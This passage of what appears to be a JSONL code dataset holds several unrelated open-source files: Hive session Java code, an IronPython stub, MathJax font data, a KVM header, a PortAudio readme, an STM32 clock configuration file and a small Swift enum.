acquire(true, true);\n try {\n return sessionManager.getOperationManager().getOperationResultSetSchema(opHandle);\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public RowSet fetchResults(OperationHandle opHandle, FetchOrientation orientation,\n long maxRows, FetchType fetchType) throws HiveSQLException {\n acquire(true, false);\n try {\n if (fetchType == FetchType.QUERY_OUTPUT) {\n return operationManager.getOperationNextRowSet(opHandle, orientation, maxRows);\n }\n return operationManager.getOperationLogRowSet(opHandle, orientation, maxRows, sessionConf);\n } finally {\n release(true, false);\n }\n }\n\n protected HiveSession getSession() {\n return this;\n }\n\n @Override\n public int getOpenOperationCount() {\n return opHandleSet.size();\n }\n\n @Override\n public String getIpAddress() {\n return ipAddress;\n }\n\n @Override\n public void setIpAddress(String ipAddress) {\n this.ipAddress = ipAddress;\n }\n\n @Override\n public List getForwardedAddresses() {\n return forwardedAddresses;\n }\n\n @Override\n public void setForwardedAddresses(final List forwardedAddresses) {\n this.forwardedAddresses = forwardedAddresses;\n }\n\n @Override\n public String getDelegationToken(HiveAuthFactory authFactory, String owner, String renewer)\n throws HiveSQLException {\n HiveAuthFactory.verifyProxyAccess(getUserName(), owner, getIpAddress(), getHiveConf());\n return authFactory.getDelegationToken(owner, renewer, getIpAddress());\n }\n\n @Override\n public void cancelDelegationToken(HiveAuthFactory authFactory, String tokenStr)\n throws HiveSQLException {\n HiveAuthFactory.verifyProxyAccess(getUserName(), getUserFromToken(authFactory, tokenStr),\n getIpAddress(), getHiveConf());\n authFactory.cancelDelegationToken(tokenStr);\n }\n\n @Override\n public void renewDelegationToken(HiveAuthFactory authFactory, String tokenStr)\n throws HiveSQLException {\n HiveAuthFactory.verifyProxyAccess(getUserName(), getUserFromToken(authFactory, tokenStr),\n getIpAddress(), getHiveConf());\n authFactory.renewDelegationToken(tokenStr);\n }\n\n // extract the real user from the given token string\n private String getUserFromToken(HiveAuthFactory authFactory, String tokenStr) throws HiveSQLException {\n return authFactory.getUserFromToken(tokenStr);\n }\n\n @Override\n public OperationHandle getPrimaryKeys(String catalog, String schema,\n String table) throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n GetPrimaryKeysOperation operation = operationManager\n .newGetPrimaryKeysOperation(getSession(), catalog, schema, table);\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public OperationHandle getCrossReference(String primaryCatalog,\n String primarySchema, String primaryTable, String foreignCatalog,\n String foreignSchema, String foreignTable) throws HiveSQLException {\n acquire(true, true);\n\n OperationManager operationManager = getOperationManager();\n GetCrossReferenceOperation operation = operationManager\n .newGetCrossReferenceOperation(getSession(), primaryCatalog,\n primarySchema, primaryTable, foreignCatalog,\n foreignSchema, foreignTable);\n OperationHandle opHandle = operation.getHandle();\n try {\n addOpHandle(opHandle);\n operation.run();\n return opHandle;\n } catch (HiveSQLException e) {\n removeOpHandle(opHandle);\n operationManager.closeOperation(opHandle);\n throw e;\n } finally {\n release(true, true);\n }\n }\n\n @Override\n public void setApplicationName(String value) {\n String oldName = sessionState.getHiveVariables().put(\"wmapp\", value);\n if (oldName != null && !oldName.equals(value)) {\n LOG.info(\"ApplicationName changed from \" + oldName + \" to \" + value);\n }\n }\n\n\n // From https://docs.microsoft.com/en-us/sql/t-sql/language-elements/reserved-keywords-transact-sql#odbc-reserved-keywords\n private static final Set ODBC_KEYWORDS = Collections.unmodifiableSet(new HashSet<>(\n Lists.newArrayList(\"ABSOLUTE\", \"ACTION\", \"ADA\", \"ADD\", \"ALL\", \"ALLOCATE\", \"ALTER\", \"AND\",\n \"ANY\", \"ARE\", \"AS\", \"ASC\", \"ASSERTION\", \"AT\", \"AUTHORIZATION\", \"AVG\", \"BEGIN\", \"BETWEEN\",\n \"BIT_LENGTH\", \"BIT\", \"BOTH\", \"BY\", \"CASCADE\", \"CASCADED\", \"CASE\", \"CAST\", \"CATALOG\",\n \"CHAR_LENGTH\", \"CHAR\", \"CHARACTER_LENGTH\", \"CHARACTER\", \"CHECK\", \"CLOSE\", \"COALESCE\",\n \"COLLATE\", \"COLLATION\", \"COLUMN\", \"COMMIT\", \"CONNECT\", \"CONNECTION\", \"CONSTRAINT\",\n \"CONSTRAINTS\", \"CONTINUE\", \"CONVERT\", \"CORRESPONDING\", \"COUNT\", \"CREATE\", \"CROSS\",\n \"CURRENT_DATE\", \"CURRENT_TIME\", \"CURRENT_TIMESTAMP\", \"CURRENT_USER\", \"CURRENT\", \"CURSOR\",\n \"DATE\", \"DAY\", \"DEALLOCATE\", \"DEC\", \"DECIMAL\", \"DECLARE\", \"DEFAULT\", \"DEFERRABLE\",\n \"DEFERRED\", \"DELETE\", \"DESC\", \"DESCRIBE\", \"DESCRIPTOR\", \"DIAGNOSTICS\", \"DISCONNECT\",\n \"DISTINCT\", \"DOMAIN\", \"DOUBLE\", \"DROP\", \"ELSE\", \"END\", \"ESCAPE\", \"EXCEPT\", \"EXCEPTION\",\n \"EXEC\", \"EXECUTE\", \"EXISTS\", \"EXTERNAL\", \"EXTRACT\", \"FALSE\", \"FETCH\", \"FIRST\", \"FLOAT\",\n \"FOR\", \"FOREIGN\", \"FORTRAN\", \"FOUND\", \"FROM\", \"FULL\", \"GET\", \"GLOBAL\", \"GO\", \"GOTO\", \"GRANT\",\n \"GROUP\", \"HAVING\", \"HOUR\", \"IDENTITY\", \"IMMEDIATE\", \"IN\", \"INCLUDE\", \"INDEX\", \"INDICATOR\",\n \"INITIALLY\", \"INNER\", \"INPUT\", \"INSENSITIVE\", \"INSERT\", \"INT\", \"INTEGER\", \"INTERSECT\",\n \"INTERVAL\", \"INTO\", \"IS\", \"ISOLATION\", \"JOIN\", \"KEY\", \"LANGUAGE\", \"LAST\", \"LEADING\", \"LEFT\",\n \"LEVEL\", \"LIKE\", \"LOCAL\", \"LOWER\", \"MATCH\", \"MAX\", \"MIN\", \"MINUTE\", \"MODULE\", \"MONTH\",\n \"NAMES\", \"NATIONAL\", \"NATURAL\", \"NCHAR\", \"NEXT\", \"NO\", \"NONE\", \"NOT\", \"NULL\", \"NULLIF\",\n \"NUMERIC\", \"OCTET_LENGTH\", \"OF\", \"ON\", \"ONLY\", \"OPEN\", \"OPTION\", \"OR\", \"ORDER\", \"OUTER\",\n \"OUTPUT\", \"OVERLAPS\", \"PAD\", \"PARTIAL\", \"PASCAL\", \"POSITION\", \"PRECISION\", \"PREPARE\",\n \"PRESERVE\", \"PRIMARY\", \"PRIOR\", \"PRIVILEGES\", \"PROCEDURE\", \"PUBLIC\", \"READ\", \"REAL\",\n \"REFERENCES\", \"RELATIVE\", \"RESTRICT\", \"REVOKE\", \"RIGHT\", \"ROLLBACK\", \"ROWS\", \"SCHEMA\",\n \"SCROLL\", \"SECOND\", \"SECTION\", \"SELECT\", \"SESSION_USER\", \"SESSION\", \"SET\", \"SIZE\",\n \"SMALLINT\", \"SOME\", \"SPACE\", \"SQL\", \"SQLCA\", \"SQLCODE\", \"SQLERROR\", \"SQLSTATE\", \"SQLWARNING\",\n \"SUBSTRING\", \"SUM\", \"SYSTEM_USER\", \"TABLE\", \"TEMPORARY\", \"THEN\", \"TIME\", \"TIMESTAMP\",\n \"TIMEZONE_HOUR\", \"TIMEZONE_MINUTE\", \"TO\", \"TRAILING\", \"TRANSACTION\", \"TRANSLATE\",\n \"TRANSLATION\", \"TRIM\", \"TRUE\", \"UNION\", \"UNIQUE\", \"UNKNOWN\", \"UPDATE\", \"UPPER\", \"USAGE\",\n \"USER\", \"USING\", \"VALUE\", \"VALUES\", \"VARCHAR\", \"VARYING\", \"VIEW\", \"WHEN\", \"WHENEVER\",\n \"WHERE\", \"WITH\", \"WORK\", \"WRITE\", \"YEAR\", \"ZONE\")));\n}\n"} -{"text": "\n"} -{"text": "class Border3DSide(Enum,IComparable,IFormattable,IConvertible):\n \"\"\"\n Specifies the sides of a rectangle to apply a three-dimensional border to.\n\n \n\n enum (flags) Border3DSide,values: All (2063),Bottom (8),Left (1),Middle (2048),Right (4),Top (2)\n \"\"\"\n def __eq__(self,*args):\n \"\"\" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y \"\"\"\n pass\n def __format__(self,*args):\n \"\"\" __format__(formattable: IFormattable,format: str) -> str \"\"\"\n pass\n def __ge__(self,*args):\n pass\n def __gt__(self,*args):\n pass\n def __init__(self,*args):\n \"\"\" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature \"\"\"\n pass\n def __le__(self,*args):\n pass\n def __lt__(self,*args):\n pass\n def __ne__(self,*args):\n pass\n def __reduce_ex__(self,*args):\n pass\n def __str__(self,*args):\n pass\n All=None\n Bottom=None\n Left=None\n Middle=None\n Right=None\n Top=None\n value__=None\n\n"} -{"text": "/*************************************************************\n *\n * MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/IPAExtensions.js\n *\n * Copyright (c) 2009-2018 The MathJax Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nMathJax.Hub.Insert(\n MathJax.OutputJax['HTML-CSS'].FONTDATA.FONTS['STIXGeneral'],\n {\n 0x250: [460,10,444,8,413], // ??\n 0x251: [460,10,500,27,491], // ??\n 0x252: [460,10,500,27,491], // ??\n 0x253: [683,10,500,69,468], // ??\n 0x254: [459,11,444,10,397], // ??\n 0x255: [460,160,444,25,417], // ??\n 0x256: [683,233,553,27,599], // ??\n 0x257: [683,10,587,27,602], // ??\n 0x258: [460,10,444,20,419], // ??\n 0x259: [460,10,444,14,413], // ??\n 0x25A: [460,13,657,36,651], // ??\n 0x25B: [475,14,438,20,389], // ??\n 0x25C: [475,14,438,20,389], // ??\n 0x25D: [475,14,623,20,603], // ??\n 0x25E: [475,14,479,20,430], // ??\n 0x25F: [460,218,315,-49,296], // ??\n 0x260: [683,212,594,32,634], // ??\n 0x261: [482,212,537,32,455], // ??\n 0x262: [450,11,570,30,539], // ??\n 0x263: [450,234,500,19,480], // ??\n 0x264: [450,10,500,13,486], // ??\n 0x265: [450,233,500,13,491], // ??\n 0x266: [683,0,500,9,487], // ??\n 0x267: [683,233,481,9,427], // ??\n 0x268: [683,0,278,16,253], // ??\n 0x269: [454,10,333,17,311], // ??\n 0x26A: [450,0,258,21,231], // ??\n 0x26B: [683,0,350,10,340], // ??\n 0x26C: [683,0,375,12,362], // ??\n 0x26D: [683,233,302,10,352], // ??\n 0x26E: [683,233,549,19,538], // ??\n 0x26F: [450,10,778,11,770], // ??\n 0x270: [450,233,803,11,785], // ??\n 0x271: [460,233,778,16,706], // ??\n 0x272: [460,233,529,-70,514], // ??\n 0x273: [460,233,533,16,603], // ??\n 0x274: [450,8,602,29,561], // ??\n 0x275: [460,10,500,29,470], // ??\n 0x276: [450,6,720,23,697], // ??\n 0x277: [475,4,667,37,629], // ??\n 0x278: [683,233,667,40,626], // ??\n 0x279: [450,10,370,30,360], // ??\n 0x27A: [683,10,370,30,364], // ??\n 0x27B: [450,233,418,30,468], // ??\n 0x27C: [460,233,333,5,335], // ??\n 0x27D: [460,233,370,7,339], // ??\n 0x27E: [470,0,315,10,337], // ??\n 0x27F: [470,0,350,5,332], // ??\n 0x280: [464,0,475,21,470], // ??\n 0x281: [464,0,475,21,470], // ??\n 0x282: [458,218,389,50,348], // ??\n 0x283: [683,233,322,-70,372], // ??\n 0x284: [683,218,304,-70,372], // ??\n 0x285: [470,233,400,15,457], // ??\n 0x286: [683,243,437,-23,422], // ??\n 0x287: [460,129,278,16,282], // ??\n 0x288: [579,233,270,13,283], // ??\n 0x289: [450,10,500,9,480], // ??\n 0x28A: [450,10,537,46,490], // ??\n 0x28B: [460,10,500,32,476], // ??\n 0x28C: [464,0,500,-4,454], // ??\n 0x28D: [464,0,722,21,694], // ??\n 0x28E: [668,0,444,-2,459], // ??\n 0x28F: [464,0,587,23,564], // ??\n 0x290: [450,218,528,27,569], // ??\n 0x291: [450,150,507,27,487], // ??\n 0x292: [450,233,413,12,392], // ??\n 0x293: [450,305,431,12,410], // ??\n 0x294: [683,0,450,47,400], // ??\n 0x295: [683,0,450,48,401], // ??\n 0x296: [662,14,450,47,400], // ??\n 0x297: [460,230,450,80,410], // ??\n 0x298: [679,17,723,33,690], // ??\n 0x299: [464,0,460,15,444], // ??\n 0x29A: [475,14,479,20,430], // ??\n 0x29B: [523,11,600,29,583], // ??\n 0x29C: [464,0,572,21,560], // ??\n 0x29D: [683,233,387,-23,412], // ??\n 0x29E: [450,233,519,1,499], // ??\n 0x29F: [464,0,470,21,441], // ??\n 0x2A0: [582,217,600,24,590], // ??\n 0x2A1: [683,0,450,48,401], // ??\n 0x2A2: [683,0,450,48,401], // ??\n 0x2A3: [683,10,802,27,775], // ??\n 0x2A4: [683,233,743,27,722], // ??\n 0x2A5: [683,160,864,27,844], // ??\n 0x2A6: [579,10,536,13,495], // ??\n 0x2A7: [683,233,483,13,540], // ??\n 0x2A8: [579,10,650,13,641], // ??\n 0x2AE: [469,232,619,15,612], // ??\n 0x2AF: [469,233,679,15,729] // ??\n }\n);\n\nMathJax.Ajax.loadComplete(MathJax.OutputJax[\"HTML-CSS\"].fontDir + \"/General/Regular/IPAExtensions.js\");\n"} -{"text": "/*\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2, as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n * Copyright IBM Corp. 2008\n *\n * Authors: Hollis Blanchard \n */\n\n#ifndef __ASM_44X_H__\n#define __ASM_44X_H__\n\n#include \n\n#define PPC44x_TLB_SIZE 64\n\n/* If the guest is expecting it, this can be as large as we like; we'd just\n * need to find some way of advertising it. */\n#define KVM44x_GUEST_TLB_SIZE 64\n\nstruct kvmppc_44x_tlbe {\n\tu32 tid; /* Only the low 8 bits are used. */\n\tu32 word0;\n\tu32 word1;\n\tu32 word2;\n};\n\nstruct kvmppc_44x_shadow_ref {\n\tstruct page *page;\n\tu16 gtlb_index;\n\tu8 writeable;\n\tu8 tid;\n};\n\nstruct kvmppc_vcpu_44x {\n\t/* Unmodified copy of the guest's TLB. */\n\tstruct kvmppc_44x_tlbe guest_tlb[KVM44x_GUEST_TLB_SIZE];\n\n\t/* References to guest pages in the hardware TLB. */\n\tstruct kvmppc_44x_shadow_ref shadow_refs[PPC44x_TLB_SIZE];\n\n\t/* State of the shadow TLB at guest context switch time. */\n\tstruct kvmppc_44x_tlbe shadow_tlb[PPC44x_TLB_SIZE];\n\tu8 shadow_tlb_mod[PPC44x_TLB_SIZE];\n\n\tstruct kvm_vcpu vcpu;\n};\n\nstatic inline struct kvmppc_vcpu_44x *to_44x(struct kvm_vcpu *vcpu)\n{\n\treturn container_of(vcpu, struct kvmppc_vcpu_44x, vcpu);\n}\n\nvoid kvmppc_44x_tlb_put(struct kvm_vcpu *vcpu);\nvoid kvmppc_44x_tlb_load(struct kvm_vcpu *vcpu);\n\n#endif /* __ASM_44X_H__ */\n"} -{"text": "\n\n\n \n \n \n \n \n PortAudio Implementations for DirectSound\n\n\n \n
\n\n\n\n
\n
\n

\nPortAudio - Portable Audio Library

\n
\n\n

Last updated 5/6/02.\n

PortAudio is a cross platform, open-source, audio\nI/O library proposed by Ross Bencina to the music-dsp\nmailing list. It lets you write simple audio programs in 'C' that will\ncompile and run on Windows, Macintosh, Unix, BeOS. PortAudio is\nintended to promote the exchange of audio synthesis software between developers\non different platforms.\n

For complete information on PortAudio and to download the latest releases,\nplease visit \"http://www.portaudio.com\".\n
 \n
 \n

\n

\nClick here for Documentation

\n\n

\n

\n\n

\nContacts and E-Mail List

\n\n
    \n
  • \nIf you are using or implementing PortAudio then please join the PortAudio\nmail list generously administered by\nBill\nEldridge.
    • \n\n
  • \nIf you find bugs in one of these implementations, or have suggestions,\nplease e-mail them to Phil Burk.
    • \n\n
  • \nIf you make improvements to the library, please send them to us so we can\nincorporate the improvements.
    • \n
\n\n

\nLicense

\nPortAudio Portable Real-Time Audio Library\n
Copyright (c) 1999-2000 Ross Bencina and Phil Burk\n

Permission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the \"Software\"),\nto deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense,\nand/or sell copies of the Software, and to permit persons to whom the Software\nis furnished to do so, subject to the following conditions:\n

    \n
  • \nThe above copyright notice and this permission notice shall be included\nin all copies or substantial portions of the Software.
    • \n\n
  • \nAny person wishing to distribute modifications to the Software is requested\nto send the modifications to the original developer so that they can be\nincorporated into the canonical version.
    • \n
\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND ON INFRINGEMENT.\n
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT\nOR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR\nTHE USE OR OTHER DEALINGS IN THE SOFTWARE.\n
 \n\n\n"} -{"text": "/**\n ******************************************************************************\n * @file system_stm32f30x.c\n * @author MCD Application Team\n * @version V4.0.0\n * @date 21-January-2013\n * @brief CMSIS Cortex-M4 Device Peripheral Access Layer System Source File.\n * This file contains the system clock configuration for STM32F30x devices,\n * and is generated by the clock configuration tool\n * stm32f30x_Clock_Configuration_V1.0.0.xls\n * \n * 1. This file provides two functions and one global variable to be called from \n * user application:\n * - SystemInit(): Setups the system clock (System clock source, PLL Multiplier\n * and Divider factors, AHB/APBx prescalers and Flash settings),\n * depending on the configuration made in the clock xls tool. \n * This function is called at startup just after reset and \n * before branch to main program. This call is made inside\n * the \"startup_stm32f30x.s\" file.\n *\n * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used\n * by the user application to setup the SysTick \n * timer or configure other parameters.\n * \n * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must\n * be called whenever the core clock is changed\n * during program execution.\n *\n * 2. After each device reset the HSI (8 MHz) is used as system clock source.\n * Then SystemInit() function is called, in \"startup_stm32f30x.s\" file, to\n * configure the system clock before to branch to main program.\n *\n * 3. If the system clock source selected by user fails to startup, the SystemInit()\n * function will do nothing and HSI still used as system clock source. User can \n * add some code to deal with this issue inside the SetSysClock() function.\n *\n * 4. The default value of HSE crystal is set to 8MHz, refer to \"HSE_VALUE\" define\n * in \"stm32f30x.h\" file. When HSE is used as system clock source, directly or\n * through PLL, and you are using different crystal you have to adapt the HSE\n * value to your own configuration.\n *\n * 5. This file configures the system clock as follows:\n *=============================================================================\n * Supported STM32F30x device \n *-----------------------------------------------------------------------------\n * System Clock source | PLL (HSE)\n *-----------------------------------------------------------------------------\n * SYSCLK(Hz) | 72000000\n *-----------------------------------------------------------------------------\n * HCLK(Hz) | 72000000\n *-----------------------------------------------------------------------------\n * AHB Prescaler | 1\n *-----------------------------------------------------------------------------\n * APB2 Prescaler | 1\n *-----------------------------------------------------------------------------\n * APB1 Prescaler | 2\n *-----------------------------------------------------------------------------\n * HSE Frequency(Hz) | 8000000\n *----------------------------------------------------------------------------\n * PLLMUL | 9\n *-----------------------------------------------------------------------------\n * PREDIV | 1\n *-----------------------------------------------------------------------------\n * USB Clock | ENABLE\n *-----------------------------------------------------------------------------\n * Flash Latency(WS) | 2\n *-----------------------------------------------------------------------------\n * Prefetch Buffer | ON\n *-----------------------------------------------------------------------------\n *=============================================================================\n ******************************************************************************\n * @attention\n *\n *

© COPYRIGHT 2013 STMicroelectronics

\n *\n * Licensed under MCD-ST Liberty SW License Agreement V2, (the \"License\");\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at:\n *\n * http://www.st.com/software_license_agreement_liberty_v2\n *\n * Unless required by applicable law or agreed to in writing, software \n * distributed under the License is distributed on an \"AS IS\" BASIS, \n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ******************************************************************************\n */\n/** @addtogroup CMSIS\n * @{\n */\n\n/** @addtogroup stm32f30x_system\n * @{\n */ \n \n/** @addtogroup STM32F30x_System_Private_Includes\n * @{\n */\n\n#include \"stm32f30x.h\"\n\n/**\n * @}\n */\n\n/** @addtogroup STM32F30x_System_Private_TypesDefinitions\n * @{\n */\n\n/**\n * @}\n */\n\n/** @addtogroup STM32F30x_System_Private_Defines\n * @{\n */\n/*!< Uncomment the following line if you need to relocate your vector Table in\n Internal SRAM. */ \n/* #define VECT_TAB_SRAM */\n#define VECT_TAB_OFFSET 0x0 /*!< Vector Table base offset field. \n This value must be a multiple of 0x200. */ \n/**\n * @}\n */ \n\n/** @addtogroup STM32F30x_System_Private_Macros\n * @{\n */\n\n/**\n * @}\n */\n\n/** @addtogroup STM32F30x_System_Private_Variables\n * @{\n */\n\n uint32_t SystemCoreClock = 72000000;\n\n __I uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9};\n\n/**\n * @}\n */\n\n/** @addtogroup STM32F30x_System_Private_FunctionPrototypes\n * @{\n */\n\nstatic void SetSysClock(void);\n\n/**\n * @}\n */\n\n/** @addtogroup STM32F30x_System_Private_Functions\n * @{\n */\n\n/**\n * @brief Setup the microcontroller system\n * Initialize the Embedded Flash Interface, the PLL and update the \n * SystemFrequency variable.\n * @param None\n * @retval None\n */\nvoid SystemInit(void)\n{\n /* FPU settings ------------------------------------------------------------*/\n #if (__FPU_PRESENT == 1) && (__FPU_USED == 1)\n SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */\n #endif\n\n /* Reset the RCC clock configuration to the default reset state ------------*/\n /* Set HSION bit */\n RCC->CR |= (uint32_t)0x00000001;\n\n /* Reset CFGR register */\n RCC->CFGR &= 0xF87FC00C;\n\n /* Reset HSEON, CSSON and PLLON bits */\n RCC->CR &= (uint32_t)0xFEF6FFFF;\n\n /* Reset HSEBYP bit */\n RCC->CR &= (uint32_t)0xFFFBFFFF;\n\n /* Reset PLLSRC, PLLXTPRE, PLLMUL and USBPRE bits */\n RCC->CFGR &= (uint32_t)0xFF80FFFF;\n\n /* Reset PREDIV1[3:0] bits */\n RCC->CFGR2 &= (uint32_t)0xFFFFFFF0;\n\n /* Reset USARTSW[1:0], I2CSW and TIMs bits */\n RCC->CFGR3 &= (uint32_t)0xFF00FCCC;\n \n /* Disable all interrupts */\n RCC->CIR = 0x00000000;\n\n /* Configure the System clock source, PLL Multiplier and Divider factors, \n AHB/APBx prescalers and Flash settings ----------------------------------*/\n SetSysClock();\n \n#ifdef VECT_TAB_SRAM\n SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM. */\n#else\n SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH. */\n#endif \n}\n\n/**\n * @brief Update SystemCoreClock variable according to Clock Register Values.\n * The SystemCoreClock variable contains the core clock (HCLK), it can\n * be used by the user application to setup the SysTick timer or configure\n * other parameters.\n * \n * @note Each time the core clock (HCLK) changes, this function must be called\n * to update SystemCoreClock variable value. Otherwise, any configuration\n * based on this variable will be incorrect. \n * \n * @note - The system frequency computed by this function is not the real \n * frequency in the chip. It is calculated based on the predefined \n * constant and the selected clock source:\n * \n * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*)\n * \n * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**)\n * \n * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) \n * or HSI_VALUE(*) multiplied/divided by the PLL factors.\n * \n * (*) HSI_VALUE is a constant defined in stm32f30x.h file (default value\n * 8 MHz) but the real value may vary depending on the variations\n * in voltage and temperature. \n * \n * (**) HSE_VALUE is a constant defined in stm32f30x.h file (default value\n * 8 MHz), user has to ensure that HSE_VALUE is same as the real\n * frequency of the crystal used. Otherwise, this function may\n * have wrong result.\n * \n * - The result of this function could be not correct when using fractional\n * value for HSE crystal.\n * \n * @param None\n * @retval None\n */\nvoid SystemCoreClockUpdate (void)\n{\n uint32_t tmp = 0, pllmull = 0, pllsource = 0, prediv1factor = 0;\n\n /* Get SYSCLK source -------------------------------------------------------*/\n tmp = RCC->CFGR & RCC_CFGR_SWS;\n \n switch (tmp)\n {\n case 0x00: /* HSI used as system clock */\n SystemCoreClock = HSI_VALUE;\n break;\n case 0x04: /* HSE used as system clock */\n SystemCoreClock = HSE_VALUE;\n break;\n case 0x08: /* PLL used as system clock */\n /* Get PLL clock source and multiplication factor ----------------------*/\n pllmull = RCC->CFGR & RCC_CFGR_PLLMULL;\n pllsource = RCC->CFGR & RCC_CFGR_PLLSRC;\n pllmull = ( pllmull >> 18) + 2;\n \n if (pllsource == 0x00)\n {\n /* HSI oscillator clock divided by 2 selected as PLL clock entry */\n SystemCoreClock = (HSI_VALUE >> 1) * pllmull;\n }\n else\n {\n prediv1factor = (RCC->CFGR2 & RCC_CFGR2_PREDIV1) + 1;\n /* HSE oscillator clock selected as PREDIV1 clock entry */\n SystemCoreClock = (HSE_VALUE / prediv1factor) * pllmull; \n } \n break;\n default: /* HSI used as system clock */\n SystemCoreClock = HSI_VALUE;\n break;\n }\n /* Compute HCLK clock frequency ----------------*/\n /* Get HCLK prescaler */\n tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)];\n /* HCLK clock frequency */\n SystemCoreClock >>= tmp; \n}\n\n/**\n * @brief Configures the System clock source, PLL Multiplier and Divider factors,\n * AHB/APBx prescalers and Flash settings\n * @note This function should be called only once the RCC clock configuration \n * is reset to the default reset state (done in SystemInit() function). \n * @param None\n * @retval None\n */\nstatic void SetSysClock(void)\n{\n __IO uint32_t StartUpCounter = 0, HSEStatus = 0;\n\n/******************************************************************************/\n/* PLL (clocked by HSE) used as System clock source */\n/******************************************************************************/\n\n /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration -----------*/\n /* Enable HSE */\n RCC->CR |= ((uint32_t)RCC_CR_HSEON);\n \n /* Wait till HSE is ready and if Time out is reached exit */\n do\n {\n HSEStatus = RCC->CR & RCC_CR_HSERDY;\n StartUpCounter++;\n } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT));\n\n if ((RCC->CR & RCC_CR_HSERDY) != RESET)\n {\n HSEStatus = (uint32_t)0x01;\n }\n else\n {\n HSEStatus = (uint32_t)0x00;\n }\n\n if (HSEStatus == (uint32_t)0x01)\n {\n /* Enable Prefetch Buffer and set Flash Latency */\n FLASH->ACR = FLASH_ACR_PRFTBE | (uint32_t)FLASH_ACR_LATENCY_1;\n \n /* HCLK = SYSCLK / 1 */\n RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1;\n \n /* PCLK2 = HCLK / 1 */\n RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1;\n \n /* PCLK1 = HCLK / 2 */\n RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2;\n\n /* PLL configuration */\n RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL));\n RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_PREDIV1 | RCC_CFGR_PLLXTPRE_PREDIV1 | RCC_CFGR_PLLMULL9);\n\n /* Enable PLL */\n RCC->CR |= RCC_CR_PLLON;\n\n /* Wait till PLL is ready */\n while((RCC->CR & RCC_CR_PLLRDY) == 0)\n {\n }\n \n /* Select PLL as system clock source */\n RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW));\n RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL;\n\n /* Wait till PLL is used as system clock source */\n while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)RCC_CFGR_SWS_PLL)\n {\n }\n }\n else\n { /* If HSE fails to start-up, the application will have wrong clock\n configuration. User can add here some code to deal with this error */\n }\n}\n\n/**\n * @}\n */\n\n/**\n * @}\n */\n\n/**\n * @}\n */\n\n/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/\n\n"} -{"text": "import Foundation\n\npublic enum Expectation: Hashable {\n case value(String)\n case error\n\n public init?(_ string: String?) {\n guard let string = string?.trimmingCharacters(in: .whitespacesAndNewlines) else { return nil }\n if string.starts(with: \"=>\"),\n let index = string.firstIndex(where: { $0.isWhitespace })\n {\n self = .value(string.suffix(from: index).trimmingCharacters(in: .whitespaces))\n } else if string.starts(with: \"!!\") {\n self = .error\n } else {\n return nil\n }\n }\n}\n"} -{"text": 